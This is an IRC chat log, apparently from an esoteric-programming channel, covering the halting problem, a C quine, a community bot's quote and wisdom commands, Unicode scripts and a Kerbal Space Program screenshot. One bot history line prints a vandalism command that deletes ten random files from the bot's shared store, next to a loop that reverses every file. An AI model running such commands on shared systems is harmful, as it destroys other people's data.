that's what I was about to say 02:55:28 Etaoin: any total language must leave some halting problems unimplementable, because otherwise you could again solve the halting problem by trying to convert to it. 02:55:40 basically something that would be like "Syntax error at line 34: would make the algorithm non halting" 02:55:45 *halting programs 02:55:46 Etaoin: Well, what about programs that do halt but aren't implementable? 02:55:56 are there such? 02:56:00 Etaoin: That would just be a solution to the halting problem 02:56:21 Etaoin: These languages don't syntactically prohibit non-halting, they just are impossible to make non-halting 02:56:52 I was asking for the former in the beginning, I suppose that's a nonsensical question now that I think about it 02:57:01 Ah, yes 02:57:21 Etaoin: In theory you could kind of make something like that? But it wouldn't really be useful 02:57:38 yeah the compiler would basically have to solve the halting problem on any program, right? 03:01:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 03:02:47 -!- hppavilion[1] has joined. 03:07:06 Etaoin: getting drunk is great and the reason you cant get drunk is you didnt drink enough booze. some people just metabolize it far faster 03:07:40 I don't know man I can chug a lot of it without any effect but I will conduct and experiment soon! 03:09:03 zzo38: the reason yo get drunk is ... all the best beverages are alcohiolic, and once youve had one, why stop? 03:09:21 -!- bender__ has joined. 03:09:48 Etaoin: what did you drink? shots? beer? 03:10:45 tequila 03:10:46 vodka 03:10:52 stuff like that 03:11:00 I do enjoy cider though 03:11:13 but those are the ones I'd try to drink to get drunk 03:11:35 oh and gin 03:12:33 hmm. do you like ale or wine? 03:12:57 I'm allergic to wine so have a guess ^^ 03:13:48 -!- bender__ has quit (Ping timeout: 250 seconds). 03:24:50 oh thats too bad 03:25:00 gnight 03:26:21 https://www.gnu.org/fun/jokes/c+-.html 03:26:25 just found out about this 03:30:49 `file quines/c 03:30:52 quines/c: C source, ASCII text 03:31:18 `` gcc -x c quines/c 03:31:38 No output. 03:31:48 `` ./a.out 03:31:49 ​#include \ int main(){char*s="#include %cint main(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);} 03:31:56 `` mv a.out quines/c 03:32:01 No output. 03:33:27 that's actually really cool 03:33:47 what is 03:35:15 the thing you just did 03:35:57 It's kinda a cute little quine. 03:35:58 it used to be like that, but today someone switched out with a new version just in text. 03:36:10 https://www.gnu.org/fun/jokes/error-haiku.html 03:36:13 *it out 03:36:32 wait just a sec 03:36:36 Though I tend to prefer explicit declarations over an #include for stuff like that. 03:36:42 (makes it a nice one-liner) 03:38:31 what's the language called that uses "human interpreters" in this irc? 03:39:05 ah IRP 03:39:18 http://esolangs.org/wiki/IRP#99_bottles 03:39:32 gf gave me a shirt with this printed on it 2 years ago 03:39:38 aww 03:39:43 in glorious courier 03:40:07 wait, including the GregorR? 03:40:10 is memonic an actual user? 03:40:13 yes 03:40:20 i don't know 03:40:23 I'll take pics when it's out of the wash 03:40:28 if you want 03:40:42 it's probably old, maybe fizzie remembers 03:40:58 does fungot remember 03:40:58 Etaoin: please remember that. what is lisp in small pieces right fnord that anything like eopl? how does one make thunks useful? 03:41:47 not sure if that's a yes 03:41:54 though that might be undecidable 03:42:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 03:42:42 -!- hppavilion[1] has joined. 03:44:03 the existence of a user named mnemonic predates my arrival on irc 03:44:59 -!- jonne_ has joined. 03:45:30 *memonic 03:46:38 mnemonic is correct though 03:46:50 sadly not the username they used 03:48:42 I want to be a good wikipedian- like the proper zealots who are overinvested in Wikipedia- but I rarely see something in need of edits. Halp. 03:49:33 learn an unused language and translate everything to that language? 03:51:22 I'm not sure why, but I went and tinkered with that quine a bit and made it charset-independent... 03:52:08 hppavilion[1]: fashion 03:52:12 fashion articles are *abysmal* 03:52:29 coppro: And me editing them would only make it worse 03:52:43 Etaoin: Is there an esperanto wikipedia? 03:52:53 yep 03:53:09 extremely well detailed too 03:53:43 -!- copumpkin has joined. 03:53:46 I.. I mean just detailed 03:53:52 well detailed isn't a phrase 03:53:57 yet 03:54:00 Yes there is 03:54:14 And a Lojban one 03:55:49 If a second language is an L2, what's an LΩ 03:56:40 Hm, should I learn Esperanto or Lojban? 03:57:15 croatian 03:57:30 nah no one speaks croatian 03:57:33 * oerjan runs away 03:57:44 I'm croatian :( 03:57:44 dobar vam dan svima 03:57:56 the language, not the nationality 03:58:09 what, there are _two_ croatians here? 03:58:19 Etaoin: why do you think i ran away 03:58:32 that may or may not be the gf I mentioned some time ago 03:58:36 aha 03:58:43 good taste in t-shirts 03:58:46 i know 03:58:59 we all have 6 character nicks 03:59:11 -!- pikhq_ has changed nick to pikhq. 03:59:13 Fixed 03:59:13 our messages are so nicely alligned, right fungot 03:59:13 Etaoin: it's not deterministic 03:59:15 the one true nick length, right myndzi 03:59:30 hikhq_ 03:59:34 ban pikhq 04:00:58 i cannot, he works at google 04:01:13 the repercursions are too scary 04:01:15 does he work in the googleplex 04:01:17 he outranks us all 04:01:36 jonne_: i don't know 04:01:46 tough crowd 04:01:53 Etaoin: well except fizzie 04:02:05 fizzie works at googleplex? 04:02:16 no, but he is also an op hth 04:02:53 (i assume googleplex is that mountain view place, and fizzie is in london) 04:03:09 googleplex is a number larger than google hth 04:03:30 the mountain view place is google [x] 04:03:30 you're thinking of googol hth 04:04:01 yes google is inspired by 80s scifi 04:04:09 googoglplex is the number, googleplex is the campus 04:04:20 is it actually called googleplex? 04:04:25 yes 04:04:30 that's genuinely amazing 04:04:49 I'm just marveling at how hilarious computer people are today 04:05:50 oh god 04:05:56 google x changed their name to just "x" 04:06:03 i've told you it was called googleplex months ago 04:06:11 https://www.solveforx.com/ 04:06:14 i'm disappointed 04:06:20 and sort of jealous you got to relive that realization 04:06:22 for free 04:06:26 i think it's common knowledge that boyfriends don't listen hth 04:06:51 nothing coppro says is free afaik 04:07:42 Projects that X has considered and rejected include a space elevator, which was deemed to be currently infeasible;[28] a hoverboard, which was determined to be too costly relative to the societal benefits;[29] a user-safe jetpack, which was thought to be too loud and energy-wasting;[30] and teleportation, which was found to violate the laws of physics. 04:08:08 someone should reorganize this sentence to be ascending in hilarity 04:09:09 you mean it isn't? 04:09:40 the more I read it the more I find it is 04:10:05 it really does hit a perfect high note with that ending 04:10:58 imagine if they did dabble in things acceptably costly in relation to the societal benefits 04:11:03 such as environmentalism 04:12:12 they do self driving cars, that's a step in that direction I think 04:12:30 doesn't that Makani thing count? 04:15:09 what do these cars even run on 04:15:50 A road, I suppose 04:15:50 intelligence 04:16:09 why don't you marry each other 04:17:15 because roads are 2d and intelligence is ethereal 04:18:13 but how does it work, do you even need a driver's licence 04:18:51 why would a car need a driver's licence 04:19:05 exactly 04:19:07 do you need a walking licence? 04:19:18 maybe the future is here and i won't ever have to make that investment 04:19:36 hopefully 04:23:51 driving is for losers lol 04:24:32 `wisdom 04:24:40 turkey//Turkey was the center of an empire that gobbled up much of Eastern Europe and the Middle East, something which brought them into conflict with Ostrich. In the 19th century the overstuffed empire started declining, and after the Great War it was cut up like so much Shish Kebab. 04:24:51 i'm pretty sure you'll need a driver's license at least until laws are changed. 04:25:01 also, someone in the driver's seat. 04:25:05 not if I sit in the passenger seat 04:25:09 dammit 04:25:15 `wisdom 04:25:17 html//HTML is short for "hope this mess loads". 04:25:18 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 04:25:29 `wisdom 04:25:30 `wisdom 04:25:31 `wisdom 04:25:43 chill damn 04:25:59 definitely deleting that one 04:26:04 diarrhea//Diarrhea is the most sickening accent, although some others are more grave. 04:26:05 ​\//\ was initially popular as a replacement for the solidus, but inevitably there was a backslash. 04:26:05 select//select is a very versatile construct: it waits for events, retrieves data from tables, creates a list from elements of an input list that satisfy a condition, a dropdown list element, an event for when selection changes, branches between multiple arms, conditional between two expressions, prints a text-based menu prompt in a loop, and more. 04:26:48 tbh you should implement one that tells the user to chill if there's a lot of consecutive requests 04:27:00 5 is the standard number 04:27:08 for 6 requests i'd agree 04:27:23 `culprits wisdom/html 04:27:33 oerjan oerjan fizzie 04:28:04 hm 04:28:05 `5 04:28:10 1/2:422) cigaretes and drunking "lame highs for lame people" yeah if it doesn't make you go crazy and shoot at people, it's not worth it. take it from a norwegian. \ 803) unfortunately df is not yet able to simulate norway \ 871) so, i'm readng chaitin's book on the diophantine thing, and h 04:28:14 `spam 04:28:16 2/2:e uses lisp with single-character variable names, in APL's character set. is there a reliable test to see if i'm actually in some caricatured hell? \ 547) my old 2d game is named either runch or turbo fight.... and its hard \ 742) moral of the story with enough peer pressure nything is possible \ 04:28:36 hm 04:28:41 nostalgia forbids deleting any of them 04:28:57 why are you deleting :( 04:35:40 I think that you should hardly ever to delete them. 04:36:09 `quote 04:36:11 985) metar lead to canada, more metar and cows 04:37:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 04:42:27 Etaoin: it's a tradition 04:43:00 -!- bender has joined. 04:43:02 although these days there are so few crap quotes left that we normally don't find anything we want to remove 04:43:35 how come there's a shortage of crap quotes? 04:43:49 because we deleted them hth :P 04:44:00 `5 04:44:04 1/2:385) No nasty sounds for a while now. Going to turn off and on and see if the numbers get worse. \ 1070) <+kmc> Harry Potter and the Physical Impossibility of Death in the Mind of Someone Living \ 737) 200 and 20 are the same different notations for the same thing \ 368) Phantom_Hoover: nope, I 04:44:09 `spam 04:44:11 2/2: removed . from the current directory \ 686) Quinary computers replace the cache with a quiche. \ 04:44:41 what is that final newline for 04:44:50 Are quinary computers computers that can only run quines? 04:45:01 why aren't there any new ones though °n° 04:45:21 oerjan: it's me being lazy hth 04:45:37 Etaoin: there are. but i think we've got slightly higher standards 04:45:39 oerjan: alt. it's for disambiguating between text that contains a final newline and text that doesn't 04:45:47 OKAY 04:45:54 `cat bin/sport 04:45:55 distort "${1:-/dev/stdin}" | spore 04:45:59 `cat bin/distort 04:45:59 ​#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in xrange(0, len(data), N): \ print data[i:i+N] 04:49:18 `sled bin/distort//s#data = .*#data = ' \\\\ '.join(f.read().splitlines())# 04:49:21 bin/distort//#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = ' \\ '.join(f.read().splitlines()) \ for i in xrange(0, len(data), N): \ print data[i:i+N] 04:49:25 `5 04:49:28 1/3:946) i've always wanted to xor swap transfinite ordinals \ 111) ais523: elf corpses are not considered expensive health food. but the most expensive. \ 327) yes i use the services of a psychic, but i'm considering getting a live one since stuff like "hello $name, your first name $first_name has |$first_ 04:49:31 `spam 04:49:31 2/3:name| letters, so by using numerology we can tell ..." is getting kind of boring \ 829) I kept telling my therapist I wanted more conventional, non-hip-hop-oriented treatment, but it was no use. my shrinkwrapped. okay i hate myself for making a pun that bad please kill me :( \ 776) `spam 04:49:34 3/3:38> But I still sign by my pens and use extra dots and shapes and so on so that I can claim I was threatened to sign it and put those dots there to warn you, or whatever 04:49:36 oerjan: hth 04:50:17 . o O ( xor swapping transfinite ordinals is entirely reasonable ) 04:50:55 -!- Reece` has quit (Quit: Alsithyafturttararfunar). 04:51:42 it's just nim addition after all 04:51:46 *nimber 04:52:40 Is there something like FRACTRAN that uses powers of 2 and sets instead of primes and bags? 04:53:10 i think we concluded it isn't TC with sets 04:53:41 in fact, that's pretty obvious, you get a finite number of bits 04:53:51 Well, you might have to use a more complicated operation. 04:53:57 would you mind if I attempted at making my own bot? never done that before, might get interesting 04:54:26 shachaf: i know, you could treat the bits like a tape *runs away* 04:54:31 The one used by FRACTRAN (which would be something involving & and |, I guess) probably wouldn't work. 04:54:50 Etaoin: that's also traditional 04:55:23 and if it gets too spammy, it's traditional that shachaf asks you to move it to #esoteric-blah 04:55:49 And if it's actually too spammy, it's traditional that oerjan bans it a little later. 04:56:14 LIES 04:56:34 I'm gonna believe the man with the correct amount of characters in their name on this one 04:56:44 darn 04:56:52 `? lies 04:56:53 Lies are even easier than monoids. They form groups, known as Lie groups. 04:57:01 that's you oerjan 04:57:10 oerjan's LIES was a lie 04:57:11 i know 04:57:23 I know *you* know. 04:57:34 i think possibly you know. 04:57:41 https://xkcd.com/1646/ 04:57:42 * oerjan isn't that big on theory of mind. 04:57:43 relevant 04:57:44 maybe 04:58:17 jonne_: please don't link that where fungot can see it twh 04:58:17 oerjan: i wonder if it works 04:58:21 that kind of bot is obviously too spammy and would get moved to #esoteric-blah 04:58:28 fungot: NO IT DOES NOT WORK 04:58:28 oerjan: i am if i call eval on it is there, use fnord)? i 04:58:56 fungot: why don't you try it hth 04:58:56 shachaf: surely all 1x does is appends the x to the value of path slot. 04:59:12 shachaf: please don't doom us all twh 04:59:20 fungot: is oerjan doomed 04:59:20 shachaf: the last one.)" 04:59:28 fungot: am i doomed 04:59:29 shachaf: i'm having trouble getting the plt one 04:59:50 fungot: are we all doomed? 04:59:50 Etaoin: be there fnord. lanier thinks the software crisis. tush ehird print " fnord 05:00:01 we're ok I think 05:00:22 fungot: are you referring to sidney lanier twh 05:00:22 shachaf: if you want to offer you this one too. fnord. 05:03:14 fungot: look where too much fun got you 05:03:14 shachaf: cette newsletter n'est pas un programme." is that like cracking your knuckles, except you're an octopus? i can't seem to get the user accounts too, this'll take days. 05:03:40 ceci n'est pas un bot 05:06:05 `wisdom 05:06:06 superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal//Superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal is where mroman lives. 05:06:20 `culprits wisdom/superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal 05:06:26 mroman 05:06:27 TOO LONG TDNH 05:07:46 it's just german it's supposed to be that way hth 05:08:10 `wisdom 05:08:11 chicken//chicken is boily af 05:08:24 `culprits wisdom/chicken 05:08:30 mroman 05:13:00 `wisdom 05:13:03 extreme irony//Extreme irony is what happens when you get a Darwin award for extreme ironing. 05:13:13 `culprits wisdom/extreme irony 05:13:17 oerjan oerjan oerjan 05:13:28 Maybe I ought to make a version of `wisdom with built-in culprits. 05:14:10 I remember the days when HackEgo replied instantly... 05:14:27 -!- Kaynato has quit (Ping timeout: 244 seconds). 05:14:32 how come it's slow though? 05:14:52 I don't know. I tried to set up my own variant of it, but the main userspace linux emulator thingy kept segfaulting. 05:15:12 :( 05:15:29 I have a plan to make an IRC bot that simply runs inside a VM, and passes through things to bash without actually trying to do any shielding or anything. 05:15:54 are programming languages created or discovered 05:16:13 Well, same of any idea, really. Both, in my opinion. 05:17:10 does the answer change if said programming languages are joke languages? 05:17:23 Nah. Still both. 05:17:32 Sure, as an idea it has always existed. But /somebody/ had to jump through the mental hoops to figure it out. They "created" it by thinking of it out of "nothing". 05:17:46 it's 6am don't indulge him 05:17:54 Not for me. 05:17:57 :P 05:18:10 `wisdom 05:18:12 nano//nano is vi's sister. 05:18:19 `wisdom 05:18:20 helsinki//Helsinki is the capital of Finland. Its main suburb is Hexham, Northumberland. 05:18:27 Hm. Why's it a double /? Didn't it used to be a single slash? 05:18:39 Double / is the best. 05:18:42 `wisdom / 05:18:44 find: warning: Unix filenames usually don't contain slashes (though pathnames do). That means that '-name `*/*'' will probably evaluate to false all the time on this system. You might find the '-wholename' test more useful, or perhaps '-samefile'. Alternatively, if you are using GNU grep, you could use 'find ... -print0 | grep -FzZ `*/*''. \ //c 05:18:55 oops 05:18:55 Haha. 05:18:57 :D 05:18:59 oerjan: fix it twh 05:19:35 `smlist 445 05:19:36 smlist 445: shachaf monqy elliott mnoqy 05:21:11 is it possible to crash hackego 05:21:50 Possibly. It'd take quite the maneuvering, though. You'd have to break out of the UML thingy. 05:22:26 Huh. It took me this long to realise your nick is Etaoin, and that the rest of it is shrdlu. ._. 05:23:17 I hope I'm not stealing someone else's nick 05:23:22 * zgrep vanishes back into mysterious idling for a long time 05:24:36 I'mma go sleep cya <3 05:24:59 -!- Etaoin has quit (Quit: Page closed). 05:35:58 `find -path 05:36:01 find: missing argument to `-path' 05:36:10 `cat bin/wisdom 05:36:11 F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 05:37:10 `sled bin/wisdom//s,-name ",-ipath "wisdom/, 05:37:15 bin/wisdom//F="$(find wisdom -ipath "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 05:37:21 `wisdom wisdom 05:37:31 wisdome//The Wisdome is the place where all of HackBot's wisdom is stored and forced to fight to the death for the freedom of being printed out when you type `wisdom. 05:37:34 hm wait 05:38:10 `cat bin/lowercase 05:38:11 ​#!/bin/bash \ tr A-Z a-z | sed 's/Ø/ø/g' 05:38:35 `sled bin/wisdom//s/ipath/path/ 05:38:39 bin/wisdom//F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 05:38:43 `wisdom / 05:38:45 ​¯\(°​_o)/¯//¯\(°​_o)/¯ is a misspelling of ¯\(°_o)/¯ 05:39:17 `wisdom // 05:39:18 ​//cat: : No such file or directory 05:39:30 -!- jonne_ has quit (Quit: Page closed). 05:39:49 shachaf: that'll be 6 zorkmids hth 05:40:06 oerjan: are we charging each other for HackEgo changes now? 05:40:58 `8ball are we charging each other for HackEgo changes now? 05:40:58 are we charging each other for HackEgo changes now? 05:41:00 You may rely on it. 05:41:05 i'm not sure the balance will wind up being in your favor hth 05:41:08 dammit stupid network 05:41:42 well i'm always off balance anyway. 05:42:22 `slwd oerjan//s#over#under# 05:42:25 wisdom/oerjan//Your mysterious articled cackling zombie underlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 05:44:42 wtf monday forecast 05:45:06 i think i shall not be outside at around 18 05:45:16 (not that i was planning to, anyway) 05:45:49 `? weather 05:45:51 lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK 05:45:54 CYUL 260400Z 00000KT 15SM FEW250 22/13 A3009 RMK CI2 SLP192 DENSITY ALT 700FT \ ENVA 260420Z 09003KT 9999 SCT010 BKN014 12/10 Q1016 RMK WIND 670FT 09006KT \ ESSB 260420Z AUTO 08007KT 9999 BKN098/// BKN180/// 20/16 Q1012 \ KOAK 260353Z 28013KT 10SM FEW180 17/11 A2993 RMK AO2 SLP135 T01720106 05:49:30 2.9 - 14.3 mm, that one hour. 05:49:41 -!- Melvar` has joined. 05:49:54 not very precise, i guess 05:50:15 -!- idris-bot has quit (Ping timeout: 264 seconds). 05:51:33 -!- idris-bot has joined. 05:51:48 -!- Melvar has quit (Ping timeout: 244 seconds). 05:53:24 -!- Melvar` has changed nick to Melvar. 06:13:00 -!- Destructible has joined. 06:17:17 -!- hppavilion[1] has joined. 06:17:28 Hm, would it be better to translate languages by going from the main language to lojban then from lojban to the target than just from source to target? 06:18:05 probably not 06:18:30 because any resolution conserved would only be done by the people making the conversion to lojban 06:19:09 perhaps it could be useful for converting it to a language where it is well described, before someone else translates it 06:25:16 Hm, would it be better to translate audio formats by going from FLAC to Ogg Vorbis then from Ogg Vorbis to MP3, than just from FLAC to MP3? 06:26:29 no 06:26:51 never use a lossy format as an intermediate as you'll just introduce more degradation 06:30:23 In video lossy formats often get used as intermediates. 06:30:48 Not that it's a good idea there either, it's just more common because raw or lossless compressed video is pretty sizable. 06:36:26 https://upload.wikimedia.org/wikipedia/commons/d/da/Voiceless_glottal_fricative.ogg should be a meme for responding to terrible jokes 06:42:16 Do linguists have a term for the way people talk to their pets? 06:43:03 -!- lambda-11235 has quit (Ping timeout: 264 seconds). 06:48:02 coppro: I was joking about the question about languages :) 06:49:00 ohhh 06:49:07 missed it lol 06:49:07 I FOUND THAT FILE BEFORE 06:49:15 I SAVED IT MY COMPUTER 06:49:18 it was amazing 06:49:18 Cale: Well, for audio formats you have a lossless option you can use instead, so you don't have to write n^2 converters. 06:49:44 There's no lossless language option, so in theory using a lossy language might make sense to save work. 06:50:06 Even if some intermediate format did make sense, though, it would almost certainly not be lojban. 06:51:03 To be honest, language is a lossy format as well 06:51:09 To begin with. 06:53:35 And translation is not exactly as practical to do automatically as audio format conversion is. 06:54:34 Destructible: That particular file I sent? 06:54:44 yes 06:54:52 i saved it before 07:21:35 There seems to be a rule that, if a word contains the diletter "py" or "pi", it is required that there be a (completely irrelevant) python library with a name based on it 07:22:05 "happy" is a haskell package 07:22:11 but not a haskell-python bridge 07:22:14 what a waste 07:31:42 shachaf: There's probably also a haskell-python bridge called happy 07:31:56 shachaf: If there isn't, we must execute the BDFL of happy and take its place 07:32:20 Also, how do you know there isn't a python package called "happy" fitting the criterium? 07:32:39 how can you truly know anything 07:32:43 the world is a mystery 07:33:30 like birds 07:33:38 what are birds? 07:33:44 We just don't know. 07:34:10 `? birds 07:34:25 why is HackEgo so slow? we just don't know 07:34:26 bird bird bird bird 07:34:33 `hoag wisdom/bird 07:34:42 revert accbc9c5c7ec \ echo wisdom/* | shuf | head -n 10 | xargs rm \ revert \ revert 1 \ revert \ for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ learn bird bird bird bird \ learn bird is a dinosaur \ learn bird bird bird bird 07:38:12 -!- oerjan has quit (Quit: Nite). 07:43:21 `? nite 07:43:22 nite? ¯\(°​_o)/¯ 07:48:43 -!- augur has quit (Remote host closed the connection). 07:58:04 <\oren\> Aw shit I made myself sound really old! 07:58:50 <\oren\> I remarked about "waiting for the game boy advance sp instead of buying the first gba" 08:01:54 <\oren\> how does one catch oneself from saying things that will inadvertently show one's age? 08:03:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 08:03:56 That doesn't make you sound very old... 08:05:24 pikhq, older than me, I guess, but probably younger than most of the channel 08:06:00 -!- Akaibu has joined. 08:06:01 Yeah, it only makes you "maybe mid-20s" 08:08:53 I never had any Nintendo things. 08:09:09 <\oren\> Actually, there's a more general question. How do you detect statements that reveal personal information indirectly? Can an automatic system be made to build up a profile of an anonymous person based on such statments? 08:09:19 People try to make me feel like I missed out on life. 08:09:21 Scowple. 08:10:18 <\oren\> seems like a pretty hard AI task 08:13:30 <\oren\> but on the other hand a system like that can also be used to automatically prevent people from revealing too much about themselves 08:14:17 You should reveal literally everything about yourself. 08:14:25 Don't you want to make the world more open and connected? 08:15:34 shachaf: Almost all of my Nintendo things have been adulthood purchases, if that makes you feel better. 08:15:47 <\oren\> I already kinda do. I'm using my real name here... 08:16:14 pikhq: How's pooching? 08:16:22 I don't, but many of you know my real name, and those of you who don't are a trip to google.com away. 08:16:32 shachaf: Doin' okay. Hopeful for my interview on Tuesday. 08:16:45 <\oren\> pikhq: that's true for me too, but only because I have way more money now to buy everything 08:18:23 What sort? 08:18:58 Code interview for an SRE position up in SF. 08:19:01 -!- MoALTz has joined. 08:23:09 pikhq: internal? 08:49:17 -!- gamemanj has joined. 09:05:47 hi 09:07:25 -!- Destructible has quit (Quit: Page closed). 09:07:30 How should I to do keyboard mapping lookup in Xwicketset? Using XKeysymToString and XrmStringToQuark every time a key is pushed would probably be slow? 09:30:50 -!- hppavilion[1] has joined. 09:46:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 11:24:49 https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/ 11:25:04 this is great 11:25:11 gcc -o exploit exploit.c i needed this so much 11:25:26 yeah, gcc -o is a really useful option 11:25:28 it like... 11:25:29 makes output 11:25:41 go to a different place! *drama* 11:28:02 i'm so glad they show how to create a suid shell for both /bin/bash and /bin/sh 11:36:43 it has some useful stuff like 11:36:52 a reference to The Martian for their ASCII table 11:37:26 -!- Akaibu has quit (Quit: Connection closed for inactivity). 11:38:25 and such lovely advice as "Use google to search exploit-db.com for exploits" (yeah, that's not suspicious) 11:45:24 -!- prooftechnique_ has quit (Ping timeout: 260 seconds). 11:46:59 -!- prooftechnique has joined. 12:10:09 -!- Reece` has joined. 12:30:02 -!- jaboja has joined. 12:45:15 -!- jaboja has quit (Read error: Connection reset by peer). 12:52:32 -!- jaboja has joined. 12:58:30 -!- jaboja has quit (Remote host closed the connection). 13:01:26 I've never hung around on #IRP, so I wouldn't've seen the dicussion involving 'memonic', if that really happened. 13:09:33 how do you read wouldn't've ? 13:24:01 would not have 13:24:36 Person A: Are you intending on destroying the world? Person B: I wouldn't've even dreamt of it. 13:24:59 (of course, person B may be telling lies) 13:25:06 (but that's not the point) 13:25:17 that was an interesting subplot 13:25:45 In any language where you can tell truth, you can tell lies 13:26:08 (as long as those truths are arbitrary) 13:26:23 What about the other way around? (what about newspeak?j 13:26:28 )* 13:27:02 As long as those lies are arbitrary. 13:27:19 everybody can tell what "ungood" means 13:27:36 for example, uncreating the universe could be considered ungood 13:28:26 Note the "as long as they're arbitrary" - you have to have enough expression to tell whatever lies you need, and by having that you also leave a hole open for telling truth 13:30:03 Even a simple operator that expresses a fact to be not-true allows expressing a truth for any lie 13:30:14 because you can just prepend that operator 13:30:18 to the lie 13:30:38 And since your oppressive regime will have to, one day, say that the words of the rebels aren't true... 13:31:02 Someone will find a way to express (perhaps with some monkey-patching of the language), that your words aren't true. 13:44:11 \oren\: http://unicodepowersymbol.com/ 13:44:36 -!- jaboja has joined. 13:52:15 \oren\: also, Tangut 13:52:26 good luck with them! 13:52:45 * lifthrasiir is looking forward the eventual encoding of classical Yi script 13:52:58 (88,000 characters proposed, probably the largest of any Unicode proposal) 13:56:39 -!- HackEgo has quit (Ping timeout: 260 seconds). 13:57:59 -!- HackEgo has joined. 13:58:55 lifthrasiir: out of interest, what's the story of your nick? 13:59:52 I've just taken a nick of appropriate complexity (deriving from Lífþrasir of Norse mythology) and tweaked it so that it is available in gmail 14:00:12 ah 14:03:24 nortti: and if you wonder about Yurume instead, https://anidb.net/ch11207 14:12:51 a language is a standard that people agree on by communicating in it. thus, what stops Tolkien's scripts from entering Unicode? 14:13:06 What is the criteria for a language? 14:13:45 And/or script for that language? 14:14:27 I have heard there are some problems with tolkien estate re. tengwar 14:14:35 but I don't remember where 14:20:27 Cirth and Tengwar are still at 160xx in http://www.unicode.org/roadmaps/smp/ 14:21:06 (But the proposal is from 1997 already.) 14:24:15 gamemanj: roughtly speaking, 1. attestation in the actual texts 2. willingness of the community 3. suitability of encoding 14:24:52 Klingon (also proposed by Everson at the same time) was formally rejected for lack of evidence for point 1. 14:24:54 I think Klingon was rejected because of 2 (the *actual* Klingon speakers use Latin transliterations) 14:25:00 Well, maybe 2. 14:25:13 Depends on how you want to think about it, I guess. 14:27:04 fizzie: if the script has enough notability and (usage and/or research), probably 1 is not a concern 14:27:18 For Tengwar, there's an actual published periodical (http://www.elvish.org/VT/) and all. 16:11:08 -!- Kaynato has joined. 16:28:57 -!- bender has quit (Ping timeout: 250 seconds). 16:30:45 -!- jaboja has quit (Ping timeout: 246 seconds). 16:31:38 -!- impomatic_ has joined. 16:37:04 -!- impomatic_ has quit (Ping timeout: 258 seconds). 16:39:38 -!- bender has joined. 16:56:23 shachaf: which "usual" meaning of "pidgin" did you have in mind? in any case, the wisdom entry resulted from a discussion about IRC clients, IIRC. 17:15:44 -!- bender has quit (Ping timeout: 250 seconds). 17:28:04 -!- Reece` has quit (Read error: Connection reset by peer). 17:45:07 -!- jaboja has joined. 17:53:15 -!- jaboja has quit (Ping timeout: 264 seconds). 18:26:30 -!- moon_ has joined. 18:38:04 -!- augur has joined. 18:40:44 -!- ais523 has joined. 18:43:44 -!- ais523|telnet has joined. 18:43:59 right 18:44:02 -!- ais523|telnet has quit (Client Quit). 18:44:14 -!- ^v^v has changed nick to ^v. 18:46:36 <\oren\> http://www.orenwatson.be/AsaClassCruiser.PNG 18:46:59 <\oren\> http://www.orenwatson.be/AsaLaunchConfig.PNG 18:47:17 <\oren\> http://www.orenwatson.be/AsaLeavingKerbin.PNG 18:47:43 virtualbox is fixed 18:50:56 what, exactly, did oren do to cause a "biome Highlands" when nowhere near the planet in question 18:51:34 and who would need a smokescreen 18:51:42 ("Smk Scrn") 18:52:08 unless... Aha! \oren\ is actually a Kerbal spy! 18:52:29 ...also, that is one big cruiser. 18:53:31 \oren\: your font doesn't have japanese numbers? 18:53:39 (I also like the screen-space optimization you've got going on there with the 7-pixel-high font in the launch config...) 18:54:58 izabera: maybe try looking in the "Chinese Characters" section... 三 18:55:24 at least, 三 seems to translate to "three" according to Google Translate - it's possible I'm just uninformed. 18:56:32 gamemanj: it means "three" but it's also sometimes used phonetically 18:56:51 kind-of like people writing "l8r" to mean "later" in text messages 18:57:04 Noted. 18:57:26 also, that font has awesome things 18:57:42 (Translation: that font has awesssss...omethings.) 18:57:46 How do i set the path for non interactive shells? 18:57:59 cd 18:58:19 no i ment $PATH 18:58:35 in whatever config they read 18:59:07 moon_: «export PATH=» and the path in their config file 18:59:08 1一 2二 3三 4四 5五 6六 7七 8八 9力 10十 ok these are all in \oren\'s font 18:59:15 but i expected them to be contiguous 18:59:24 also i think 8 is wrong 19:00:34 and there's 百 twice 19:01:46 -!- AnotherTest has joined. 19:07:21 <\oren\> izabera: unicode doesn't have them contiguous 19:08:06 <\oren\> I have all kanji from grades 1-6 in Japan if that helps 19:10:37 <\oren\> This cruiser is heading to Duna and Ike to conduct orbital reconnaissance 19:11:07 <\oren\> It has 3 years of food, water and oxygen aboard 19:11:22 <\oren\> hauling that stuff takes a lot of fuel. 19:11:37 <\oren\> so the whole thing is therefore pretty big 19:13:53 One idea to avoid having to convert a keysym to a string and then to a quark each time a key is pushed in my program might be, when the resources are loaded to create an array of the sorted keysyms mapping them to the quarks, and then 